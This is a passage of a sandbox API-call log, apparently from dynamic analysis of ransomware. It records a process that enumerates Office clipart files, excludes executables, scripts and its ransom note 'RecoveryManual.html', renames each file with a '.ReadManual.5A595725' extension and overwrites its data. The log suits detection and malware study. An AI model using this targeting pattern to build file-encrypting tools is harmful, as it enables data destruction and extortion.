lpNewFilePointer=0x0) returned 1 [0274.438] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.440] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.440] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3308) returned 0x2f0000 [0274.440] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.440] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39510917142) returned 1 [0274.440] CloseHandle (hObject=0x184) returned 1 [0274.440] SetSecurityInfo () returned 0x57 [0274.441] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.441] CloseHandle (hObject=0x194) returned 1 [0274.441] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b58e00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32b58e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x27f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00382_.WMF", cAlternateFileName="")) returned 1 [0274.441] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00382_.WMF" | out: lpString1="SO00382_.WMF") returned="SO00382_.WMF" [0274.441] lstrcmpiW (lpString1="SO00382_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.441] StrStrIW (lpFirst="SO00382_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.441] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.441] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.442] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.442] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.442] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.442] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.442] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.442] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.442] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.442] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.442] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.442] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.442] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.442] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.442] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" [0274.442] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF.ReadManual.5A595725" [0274.442] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF.ReadManual.5A595725") returned 87 [0274.442] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39511070496) returned 1 [0274.442] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf")) returned 0x20 [0274.442] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.442] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10228) returned 1 [0274.443] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27f4, lpName=0x0) returned 0x184 [0274.443] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.443] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.443] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.466] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.467] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x27f4) returned 0x2f0000 [0274.467] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.467] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39513557865) returned 1 [0274.467] CloseHandle (hObject=0x184) returned 1 [0274.467] SetSecurityInfo () returned 0x57 [0274.467] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.467] CloseHandle (hObject=0x194) returned 1 [0274.467] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27894f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27894f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0xb7c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00390_.WMF", cAlternateFileName="")) returned 1 [0274.467] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00390_.WMF" | out: lpString1="SO00390_.WMF") returned="SO00390_.WMF" [0274.467] lstrcmpiW (lpString1="SO00390_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.467] StrStrIW (lpFirst="SO00390_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.467] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.467] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.467] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.467] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.467] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.467] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.467] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.467] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.467] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.467] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.468] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.468] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.468] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.468] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.468] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" [0274.468] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF.ReadManual.5A595725" [0274.468] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF.ReadManual.5A595725") returned 87 [0274.468] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39513648404) returned 1 [0274.468] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf")) returned 0x20 [0274.468] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.468] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2940) returned 1 [0274.468] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb7c, lpName=0x0) returned 0x184 [0274.468] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.469] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.469] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.471] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.471] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb7c) returned 0x2f0000 [0274.471] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.471] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39513994555) returned 1 [0274.471] CloseHandle (hObject=0x184) returned 1 [0274.471] SetSecurityInfo () returned 0x57 [0274.471] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.471] CloseHandle (hObject=0x194) returned 1 [0274.471] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c49b00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22c49b00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x828, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00391_.WMF", cAlternateFileName="")) returned 1 [0274.472] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00391_.WMF" | out: lpString1="SO00391_.WMF") returned="SO00391_.WMF" [0274.472] lstrcmpiW (lpString1="SO00391_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.472] StrStrIW (lpFirst="SO00391_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.472] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.472] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.472] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.472] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.472] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.472] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.472] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.472] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.472] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.472] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.472] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.472] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.472] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.472] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.474] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" [0274.474] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF.ReadManual.5A595725" [0274.474] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF.ReadManual.5A595725") returned 87 [0274.474] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39514249693) returned 1 [0274.474] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf")) returned 0x20 [0274.475] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.475] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2088) returned 1 [0274.475] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x828, lpName=0x0) returned 0x184 [0274.475] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.476] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.476] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.478] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.478] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x828) returned 0x2f0000 [0274.478] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.478] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39514667857) returned 1 [0274.478] CloseHandle (hObject=0x184) returned 1 [0274.478] SetSecurityInfo () returned 0x57 [0274.478] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.478] CloseHandle (hObject=0x194) returned 1 [0274.478] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e57d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59e57d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x704e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00416_.WMF", cAlternateFileName="")) returned 1 [0274.478] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00416_.WMF" | out: lpString1="SO00416_.WMF") returned="SO00416_.WMF" [0274.478] lstrcmpiW (lpString1="SO00416_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.478] StrStrIW (lpFirst="SO00416_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.478] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.478] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.478] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.478] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.478] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.478] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.478] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.479] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.479] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.479] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.479] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.479] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.479] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.479] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.479] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" [0274.479] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF.ReadManual.5A595725" [0274.479] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF.ReadManual.5A595725") returned 87 [0274.479] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39514758009) returned 1 [0274.479] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf")) returned 0x20 [0274.479] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.479] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=28750) returned 1 [0274.479] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x704e, lpName=0x0) returned 0x184 [0274.479] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.480] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.480] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.482] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.482] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x704e) returned 0x2f0000 [0274.482] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.482] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39515113944) returned 1 [0274.482] CloseHandle (hObject=0x184) returned 1 [0274.482] SetSecurityInfo () returned 0x57 [0274.483] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.483] CloseHandle (hObject=0x194) returned 1 [0274.483] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36491500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36491500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x143c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00423_.WMF", cAlternateFileName="")) returned 1 [0274.483] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00423_.WMF" | out: lpString1="SO00423_.WMF") returned="SO00423_.WMF" [0274.483] lstrcmpiW (lpString1="SO00423_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.483] StrStrIW (lpFirst="SO00423_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.483] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.483] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.483] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.483] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.483] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.483] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.483] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.483] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.483] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.483] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.483] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.483] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.483] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.483] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.483] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" [0274.483] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF.ReadManual.5A595725" [0274.483] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF.ReadManual.5A595725") returned 87 [0274.483] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39515205610) returned 1 [0274.483] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf")) returned 0x20 [0274.484] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.484] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5180) returned 1 [0274.484] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x143c, lpName=0x0) returned 0x184 [0274.484] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.485] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.485] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.486] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.486] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x143c) returned 0x2f0000 [0274.487] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.487] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39515545881) returned 1 [0274.487] CloseHandle (hObject=0x184) returned 1 [0274.487] SetSecurityInfo () returned 0x57 [0274.487] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.487] CloseHandle (hObject=0x194) returned 1 [0274.487] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ef4f00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79ef4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, 